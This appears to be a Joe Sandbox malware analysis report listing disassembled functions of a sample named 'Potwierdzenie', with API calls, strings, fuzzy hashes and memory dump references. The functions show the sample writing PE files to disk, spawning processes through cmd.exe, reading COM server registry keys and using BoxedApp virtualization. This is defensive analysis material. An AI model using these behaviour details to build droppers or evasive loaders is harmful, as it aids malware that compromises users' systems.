. Returning with FALSE., xrefs: 0BBF7C5B
) reaches maximum , xrefs: 0BBF7C62
C:\, xrefs: 0BBF6DEC
ComSpec, xrefs: 0BBF6F60
This attempt will use a stub file created on a disk if virtual process is going to be started, xrefs: 0BBF6C0A
D, xrefs: 0BBF6B82
Attempt #, xrefs: 0BBF6BA9
/c ", xrefs: 0BBF70E1, 0BBF7138
sysapi/process, xrefs: 0BBF6BAE, 0BBF6C0F, 0BBF7C6D

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$wsprintf$ErrorFileLastLocalTimeWrite
String ID: /c $ /c "$ to run the process$) reaches maximum $. Returning with FALSE.$Attempt #$Attempts count ($C:\$ComSpec$D$This attempt will use a stub file created on a disk if virtual process is going to be started$cmd.exe $sysapi/process
API String ID: 1072540023-3348879310
Opcode ID: 0df9a294d1437150faa5b145c1a14252e13ba504d6f9b609bbed346a69ad1163
Instruction ID: 6a764c16907d28a1527c4a3ca2f810e0d91c4493ccff3ebab5f35bbabbfbd560
Opcode Fuzzy Hash: 0df9a294d1437150faa5b145c1a14252e13ba504d6f9b609bbed346a69ad1163
Instruction Fuzzy Hash: 19B238B191021A9FDF10DFA4CC95BEEB7B9FF44304F4440A9EA09A7251EB319E48DB91

Function 0BCBC680 Relevance: 58.8, APIs: 25, Strings: 8, Instructions: 1008filestringCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?,00000000,?,00000000,00000000), ref: 0BCBC6E6
memcpy.NTDLL(00000000,0BCEB638,00000000,?,?,?,?,00000000,?,00000000,00000000), ref: 0BCBC6F8
lstrcpyA.KERNEL32(?,.text,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0BCBCDC7
lstrcpyA.KERNEL32(?,.idata), ref: 0BCBCE57
lstrcpyA.KERNEL32(?,.data), ref: 0BCBCEAB
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 0BCBCF26
WriteFile.KERNEL32(00000000,?,00000040,0BC043EA,00000000), ref: 0BCBCF4D
WriteFile.KERNEL32(00000000,00004550,000000F8,0BC043EA,00000000), ref: 0BCBCF62
WriteFile.KERNEL32(00000000,?,00000028,0BC043EA,00000000), ref: 0BCBCF74
WriteFile.KERNEL32(00000000,?,00000028,0BC043EA,00000000), ref: 0BCBCF86
WriteFile.KERNEL32(00000000,?,00000028,0BC043EA,00000000), ref: 0BCBCF98
WriteFile.KERNEL32(00000000,00000000,00000001,0BC043EA,00000000), ref: 0BCBCFB0
WriteFile.KERNEL32(00000000,?,00000200,0BC043EA,0000004F), ref: 0BCBCFC5
WriteFile.KERNEL32(00000000,?,?,0BC043EA,0000004F), ref: 0BCBCFD3
WriteFile.KERNEL32(00000000,00000000,00000001,0BC043EA,00000000), ref: 0BCBCFEE
WriteFile.KERNEL32(00000000,?,00000004,0BC043EA,00000000), ref: 0BCBD07E
WriteFile.KERNEL32(00000000,?,00000004,0BC043EA,00000000), ref: 0BCBD08D
WriteFile.KERNEL32(00000000,0BC043EA,00000001,0BC043EA,00000000), ref: 0BCBD0BD
WriteFile.KERNEL32(00000000,0BC043EA,00000001,0BC043EA,00000000), ref: 0BCBD0EA
WriteFile.KERNEL32(00000000,00000000,00000001,0BC043EA,00000000), ref: 0BCBD10D
WriteFile.KERNEL32(00000000,0BC043EA,-00000003,0BC043EA,00000000), ref: 0BCBD13C
WriteFile.KERNEL32(00000000,00000000,00000001,0BC043EA,00000000), ref: 0BCBD16D
WriteFile.KERNEL32(00000000,00000000,00000001,0BC043EA,00000000), ref: 0BCBD18D
CloseHandle.KERNEL32(00000000), ref: 0BCBD195

Strings

.idata, xrefs: 0BCBCE51
.data, xrefs: 0BCBCEA5
.text, xrefs: 0BCBCDC1
@, xrefs: 0BCBCEF7
`, xrefs: 0BCBCDFE
@, xrefs: 0BCBC75E
PE, xrefs: 0BCBC788
@, xrefs: 0BCBCE8D

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: File$Write$lstrcpy$memcpy$CloseCreateHandle
String ID: .data$.idata$.text$@$@$@$PE$`
API String ID: 2856280114-3934837063
Opcode ID: f4ed74fc802c5dc8c57b5b2d648623bd09308501f75a8bb78cb1925608440e6b
Instruction ID: 1001d01998a839afea53666e05a30edbdeb3b4f6e0b8e0bd2907162eea08558a
Opcode Fuzzy Hash: f4ed74fc802c5dc8c57b5b2d648623bd09308501f75a8bb78cb1925608440e6b
Instruction Fuzzy Hash: 419249B1E112199FEF10CFA4C884BEEBBB5FF48304F148169E519AB240E7759A45CBA4

Function 0BBF8E90 Relevance: 52.0, APIs: 27, Strings: 2, Instructions: 1299stringCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000000,?,?,00000000,00000000,00000000,?,?,00000001), ref: 0BBF8F0D
memcpy.NTDLL(?,?,00000002,00000000,00000000,?,00000000,?,?,00000001), ref: 0BBF8F60
memcpy.NTDLL(?,?,?,00000000,00000000,?,?,?,?,?,?,00000000,?,?,00000001), ref: 0BBF8FA7
memcpy.NTDLL(?,.exe,00000000,?,?,?,00000000,00000000,?,?,?,?,?,?,00000000,?), ref: 0BBF8FBF
GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,00000001), ref: 0BBF900C

Part of subcall function 0BBFD090: memcpy.NTDLL(00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,0BC6F4B8,00000000,00000000,00000000), ref: 0BBFD136

memcpy.NTDLL(00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000,?,?), ref: 0BBF90CA
memcpy.NTDLL(0BBF6E2B,00000000,00000000,00000000,?,?,?,00000000,00000000,?,?,?,?,?,?,00000000), ref: 0BBF9114
lstrlenW.KERNEL32(?,00000000,?,?,00000001), ref: 0BBF91D5
lstrlenW.KERNEL32(?), ref: 0BBF9276
memcpy.NTDLL(?,?,?,00000000,00000000,00000000,00000000), ref: 0BBF9336
memcpy.NTDLL(00000000,.exe,00000000,?,?,?,00000000,00000000,00000000,00000000), ref: 0BBF934C
memcpy.NTDLL(?,?,?,?,00000000,?,?), ref: 0BBF94EB
memcpy.NTDLL(00000000,.exe,00000000,?,?,?,?,00000000,?,?), ref: 0BBF9501
memcpy.NTDLL(00000000,?,?,00000000,00000000,00000000,00000000), ref: 0BBF963C
memcpy.NTDLL(00000000,?,00000000,00000000,00000000), ref: 0BBF97BD
memcpy.NTDLL(000000BF,00000000,00000000,00000000), ref: 0BBF9810
memcpy.NTDLL(00000000,?,?,00000000,00000000,00000000,?,?), ref: 0BBF990C
GetFileAttributesW.KERNEL32(?,?,00000000,?,?), ref: 0BBF955A

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Part of subcall function 0BBFEA40: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,?,00000000,?,0BC02A55,?,?,00000000), ref: 0BBFEA8F

memcpy.NTDLL(00000000,?,?,00000000,00000000), ref: 0BBF9AAF
memcpy.NTDLL(00000000,?,00000002,00000000,00000000), ref: 0BBF9AF9
memcpy.NTDLL(?,00000000,?,00000000,00000000), ref: 0BBF9B3F
memcpy.NTDLL(?,.exe,00000000,?,00000000,?,00000000,00000000), ref: 0BBF9B57
GetFileAttributesW.KERNEL32(?), ref: 0BBF9BAB
memcpy.NTDLL(00000000,?,00000000,00000000,00000000), ref: 0BBF9C3A
GetFileAttributesW.KERNEL32(00000000), ref: 0BBF93CD

Part of subcall function 0BC179F0: memcpy.NTDLL(00000000,?,?), ref: 0BC17A39

lstrlenW.KERNEL32(?), ref: 0BBF9479
memcpy.NTDLL(000000BF,00000000,00000000,00000000), ref: 0BBF9C90

Strings

.exe, xrefs: 0BBF8F68, 0BBF8FB9, 0BBF92EA, 0BBF9346, 0BBF94A2, 0BBF94FB, 0BBF9B01, 0BBF9B51
", xrefs: 0BBF9223

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$AttributesFile$lstrlen$FreeHeapReleaseSemaphore
String ID: "$.exe
API String ID: 1716742665-455621557
Opcode ID: 45133e364b08a7722812fee0d5f602d33928bb2fc8c469cceaba5f86dbdc7774
Instruction ID: c1419fce07728eda16095fd2ba7c767728b5df4b9c34efcaa55ceb856f02ddbc
Opcode Fuzzy Hash: 45133e364b08a7722812fee0d5f602d33928bb2fc8c469cceaba5f86dbdc7774
Instruction Fuzzy Hash: FAA2D2B1D0020A9FDF14EF64C895BAFB3B9FF44304F444469DA46A7281EB31EA09DB91

Function 0BBFAE80 Relevance: 46.6, APIs: 23, Strings: 3, Instructions: 1130stringCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000000,?,?,00000000,00000000,00000000), ref: 0BBFAF00
memcpy.NTDLL(?,?,00000002,00000000,00000000,?,00000000), ref: 0BBFAF53
memcpy.NTDLL(?,?,?,00000000,00000000,?,?,?,?,?,?,00000000), ref: 0BBFAF99
memcpy.NTDLL(?,.exe,00000000,?,?,?,00000000,00000000,?,?,?,?,?,?,00000000), ref: 0BBFAFB1
GetFileAttributesW.KERNEL32(00000001,?,?,?,?,?,?,00000000), ref: 0BBFB005

Part of subcall function 0BBFD090: memcpy.NTDLL(00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,0BC6F4B8,00000000,00000000,00000000), ref: 0BBFD136

memcpy.NTDLL(00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000), ref: 0BBFB0E1
memcpy.NTDLL(?,00000000,00000000,00000000,?,?,?,00000000,00000000,?,?,?,?,?,?,00000000), ref: 0BBFB131
lstrlenW.KERNEL32(?,00000000), ref: 0BBFB1FE
lstrlenW.KERNEL32(?), ref: 0BBFB296
memcpy.NTDLL(?,?,?,00000000,00000000,00000000,00000000), ref: 0BBFB34D
memcpy.NTDLL(00000000,.exe,00000000,?,?,?,00000000,00000000,00000000,00000000), ref: 0BBFB363
GetFileAttributesW.KERNEL32(00000000), ref: 0BBFB3E1
lstrlenW.KERNEL32(?), ref: 0BBFB478

Strings

", xrefs: 0BBFB24C
D, xrefs: 0BBFBB1F
.exe, xrefs: 0BBFAF5B, 0BBFAFAB, 0BBFB307, 0BBFB35D, 0BBFB49E, 0BBFB4FB, 0BBFB98F, 0BBFB9DF

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$lstrlen$AttributesFile
String ID: "$.exe$D
API String ID: 3551942437-3912883745
Opcode ID: 4bdaa75ff6e3735549cb1269797fb2cf07a4c4b8e4407ab4a544c3fecf5f45c1
Instruction ID: 1a93a331f5a57c9df9959bbe3c5f8623ddd0249638d99c4199731b17b0547e15
Opcode Fuzzy Hash: 4bdaa75ff6e3735549cb1269797fb2cf07a4c4b8e4407ab4a544c3fecf5f45c1
Instruction Fuzzy Hash: 6B92B6B1D102069FDF24EF64CC41BAFB7B8EF44304F544469DA06AB281EB31EA09DB95

Function 0BCB6A90 Relevance: 39.1, APIs: 21, Strings: 1, Instructions: 565memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0BBFD090: memcpy.NTDLL(00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,0BC6F4B8,00000000,00000000,00000000), ref: 0BBFD136

VariantClear.OLEAUT32(?), ref: 0BCB6AB1
memcpy.NTDLL(00000000,name,?,00000000,00000000,00000000), ref: 0BCB6B0E
SysAllocString.OLEAUT32(00000000), ref: 0BCB6B17
SysFreeString.OLEAUT32(00000000), ref: 0BCB6B4C
memcpy.NTDLL(00000000,?,?,?,?,00000000), ref: 0BCB6BEB
memcpy.NTDLL(00000000,?,00000000,?,?,?,00000000), ref: 0BCB6C1A
lstrcmpiW.KERNEL32(00000000,name,?,00000000), ref: 0BCB6CD0
memcpy.NTDLL(00000000,?,?,?,?,00000000), ref: 0BCB6D35
memcpy.NTDLL(?,0BCEB1D4,?,?,00000000), ref: 0BCB6D63
memcpy.NTDLL(00000000,?,?,?,?,?,?,?,00000000), ref: 0BCB6DDE
memcpy.NTDLL(?,00000000,00000000,?,?,?,?,00000000), ref: 0BCB6E0B
memcpy.NTDLL(00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0BCB6E74
memcpy.NTDLL(?,0BCEB1D8,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 0BCB6EA2
memcpy.NTDLL(00000000,?), ref: 0BCB6F14
memcpy.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0BCB6F3D
memcpy.NTDLL(00000000,?), ref: 0BCB6FA0
memcpy.NTDLL(?,0BCCEC0C,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0BCB6FD1
VariantClear.OLEAUT32(?), ref: 0BCB6FFE
SysFreeString.OLEAUT32(00000000), ref: 0BCB700C
VariantClear.OLEAUT32(00000008), ref: 0BCB707E
VariantClear.OLEAUT32(?), ref: 0BCB70C9

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Strings

name, xrefs: 0BCB6AC6, 0BCB6B08, 0BCB6CCA

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$ClearVariant$FreeString$AllocHeapReleaseSemaphorelstrcmpi
String ID: name
API String ID: 1445501789-1579384326
Opcode ID: c6442511fe8255b3a2fd9e52a4d733ed481415a9818194ad426b52a223bc0cbc
Instruction ID: 02d0fc13dca30788b201f1d6cac0ea845a1bb2f49ca3ec4c7ad8b05dd2c4dac4
Opcode Fuzzy Hash: c6442511fe8255b3a2fd9e52a4d733ed481415a9818194ad426b52a223bc0cbc
Instruction Fuzzy Hash: 1D224CB1E111099FDF14DFA4D885AEFB7B9EF84304F444079E806AB250EB35EA05DBA1

Function 0BC0C730 Relevance: 35.6, APIs: 14, Strings: 6, Instructions: 562registrythreadCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000000,00000000,00000000,00000001,?,AppId\,00000000,00000000), ref: 0BC0C83D
memcpy.NTDLL(?,?,?,?,00000000,LocalServer32,?), ref: 0BC0C8C8
memcpy.NTDLL(00000000, -Embedding,00000000,?,?,?,?,00000000,LocalServer32,?), ref: 0BC0C8DE
GetCurrentThreadId.KERNEL32 ref: 0BC0CB58

Part of subcall function 0BBFD090: memcpy.NTDLL(00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,0BC6F4B8,00000000,00000000,00000000), ref: 0BBFD136

Part of subcall function 0BBFEAA0: memcpy.NTDLL(00000000,00000000,00000000,00000001,00000000,?,00000001,00000000,?,?,0BC029BA,?,?,00000000,?,00000000), ref: 0BBFEAE6
Part of subcall function 0BBFEAA0: memcpy.NTDLL(00000000,0BCCEC0C,00000000,00000000,00000000,00000000,00000001,00000000,?,00000001,00000000,?,?,0BC029BA,?,?), ref: 0BBFEB00

memcpy.NTDLL(?,?,?,00000000,00000000,?,?,?,?,CLSID\,00000000), ref: 0BC0C9AD
memcpy.NTDLL(?,\LocalServer32,?,?,?,?,00000000,00000000,?,?,?,?,CLSID\,00000000), ref: 0BC0C9C8
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00000001,?,?,00000000,?,?,?,?,CLSID\,00000000), ref: 0BC0C9FC
memcpy.NTDLL(?,?,?,?,00000000,0BCCDAC8,?,?,?,?,?,CLSID\,00000000), ref: 0BC0CA8F
memcpy.NTDLL(?, -Embedding,?,?,?,?,?,00000000,0BCCDAC8,?,?,?,?,?,CLSID\,00000000), ref: 0BC0CAAA
RegCloseKey.ADVAPI32(00000000,?,?,?,?,CLSID\,00000000), ref: 0BC0CB10
GetCurrentThreadId.KERNEL32 ref: 0BC0CC26
TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,CLSID\,00000000), ref: 0BC0CC7C
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,CLSID\,00000000), ref: 0BC0CC9A
RegCloseKey.ADVAPI32(00000000,?,?,?,?,CLSID\,00000000), ref: 0BC0CD2E

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Part of subcall function 0BC163B0: CreateSemaphoreW.KERNEL32(00000000,00000000,7FFFFFFF,00000000,?,?,00000000,?,0BBF3F03,00000001), ref: 0BC163F3
Part of subcall function 0BC163B0: GetTickCount.KERNEL32 ref: 0BC1643E
Part of subcall function 0BC163B0: GetTickCount.KERNEL32 ref: 0BC16477

Strings

D, xrefs: 0BC0CBAC
CLSID\, xrefs: 0BC0C93B
LocalServer32, xrefs: 0BC0C860
-Embedding, xrefs: 0BC0C887, 0BC0C8D8, 0BC0CA4E, 0BC0CAA4
AppId\, xrefs: 0BC0C80B
\LocalServer32, xrefs: 0BC0C962, 0BC0C9C2

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$Thread$CloseCountCurrentOpenSemaphoreTick$CreateFreeHeapProcessReleaseResumeTerminate
String ID: -Embedding$AppId\$CLSID\$D$LocalServer32$\LocalServer32
API String ID: 273299303-2676052370
Opcode ID: 57c95642ce9cf3cc9ec64818741edeaccb67caa76422c559b3d3c5fe513ed085
Instruction ID: 8a6f76fb6f048768dfcfc95821c4d8ddedfb0403d2cb5fc822792d0658d23272
Opcode Fuzzy Hash: 57c95642ce9cf3cc9ec64818741edeaccb67caa76422c559b3d3c5fe513ed085
Instruction Fuzzy Hash: D5222E71E21219AFDF14DFA4DC81BEEB7B9FF04300F144569E915AB290DB30AA49DB90

Function 0BCB8AE0 Relevance: 33.6, APIs: 14, Strings: 5, Instructions: 349memorycomCOMMON

Download Yara Rule

APIs

Part of subcall function 0BCC0EC0: CoInitialize.OLE32(00000000), ref: 0BCC0EC5

CoCreateInstance.OLE32(0BCEB1F0,00000000,00000017,0BCEB1C4,?), ref: 0BCB8B0A
VariantClear.OLEAUT32(?), ref: 0BCB8B73
SysAllocString.OLEAUT32(?), ref: 0BCB8B87
VariantClear.OLEAUT32(?), ref: 0BCB8BE1
SysAllocString.OLEAUT32(XPath), ref: 0BCB8BF1
VariantClear.OLEAUT32(?), ref: 0BCB8C0D

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Part of subcall function 0BCB6900: SysAllocString.OLEAUT32(00000000), ref: 0BCB6987

VariantClear.OLEAUT32(?), ref: 0BCB8C69
SysAllocString.OLEAUT32(xmlns:microsoftNs='urn:schemas-microsoft-com:asm.v1'), ref: 0BCB8C79
VariantClear.OLEAUT32(?), ref: 0BCB8C95
VariantClear.OLEAUT32(?), ref: 0BCB8C9B
VariantClear.OLEAUT32(?), ref: 0BCB8D2D
VariantClear.OLEAUT32(?), ref: 0BCB8D33
VariantClear.OLEAUT32(?), ref: 0BCB8D39
VariantClear.OLEAUT32(?), ref: 0BCB8ED9

Strings

/microsoftNs:assembly/microsoftNs:assemblyIdentity, xrefs: 0BCB8D46
SelectionNamespaces, xrefs: 0BCB8CA8
xmlns:microsoftNs='urn:schemas-microsoft-com:asm.v1', xrefs: 0BCB8C70
XPath, xrefs: 0BCB8BE8
SelectionLanguage, xrefs: 0BCB8C1A

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ClearVariant$AllocString$CreateFreeHeapInitializeInstanceReleaseSemaphore
String ID: /microsoftNs:assembly/microsoftNs:assemblyIdentity$SelectionLanguage$SelectionNamespaces$XPath$xmlns:microsoftNs='urn:schemas-microsoft-com:asm.v1'
API String ID: 962346070-1613358043
Opcode ID: 2f96d423bf1c4746aa469b5605f6001936c2d3ced96b249c561372d53c36734e
Instruction ID: b1b01b0c2237e3710fcbeda4947b262976fcb900e200be4c4af5d826fb3dd2eb
Opcode Fuzzy Hash: 2f96d423bf1c4746aa469b5605f6001936c2d3ced96b249c561372d53c36734e
Instruction Fuzzy Hash: 48D13C70E1120AAFDB14DFE4C854FEEB7B9BF44704F148469E419AB250DB35EA45CBA0

Function 0BC09B80 Relevance: 31.9, APIs: 10, Strings: 8, Instructions: 361COMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 0BC09C0D
GetFileAttributesW.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0BC09C19
memcpy.NTDLL(?,00000000,00000000,00000000,?,?,?,?,?,00000000), ref: 0BC09C71
memcpy.NTDLL(?,BoxedAppSDK_RunDll32_Callback,?,00000000,00000000,?,?,00000000,?,?,?,?,?,00000000), ref: 0BC09CC2
memcpy.NTDLL(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,?,?), ref: 0BC09D17

Strings

core, xrefs: 0BC09D51, 0BC09F3E
', xrefs: 0BC09F2E
BoxedAppSDK_RunDll32_Callback_Shim, xrefs: 0BC09E6B, 0BC09EAC
BoxedApp::CBoxedAppCore::GetBxCodeCallerDll, xrefs: 0BC09D4C, 0BC09F39
'. Going to check shim dll., xrefs: 0BC09D41
: Unable to find bxsdk dll', xrefs: 0BC09D47
: Unable to find shim dll ', xrefs: 0BC09F34
BoxedAppSDK_RunDll32_Callback, xrefs: 0BC09C7B, 0BC09CBC

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$AttributesFile
String ID: '$'. Going to check shim dll.$: Unable to find bxsdk dll'$: Unable to find shim dll '$BoxedApp::CBoxedAppCore::GetBxCodeCallerDll$BoxedAppSDK_RunDll32_Callback$BoxedAppSDK_RunDll32_Callback_Shim$core
API String ID: 3559115319-1194225600
Opcode ID: 7b8f215cb908637821e4dc7210e33f83f62275d39dbb3578c1c0f431d1c9abb8
Instruction ID: b5aeaba083df9e45fac08ba499ae688b3d4dbe4e623d9a32357a5a4caecb1615
Opcode Fuzzy Hash: 7b8f215cb908637821e4dc7210e33f83f62275d39dbb3578c1c0f431d1c9abb8
Instruction Fuzzy Hash: 09C10431A702049FDB18BF78C856BBF73A9EF85600F450469E9179B292DEB0AE019791

Function 0BC5AD60 Relevance: 29.2, APIs: 11, Strings: 5, Instructions: 1246COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 0BC5AD77
TlsSetValue.KERNEL32(00000001,?,?), ref: 0BC5AD85

Part of subcall function 0BCC0F00: SetErrorMode.KERNEL32(00000001,?,?,0BC5F644,00000001,?), ref: 0BCC0F09

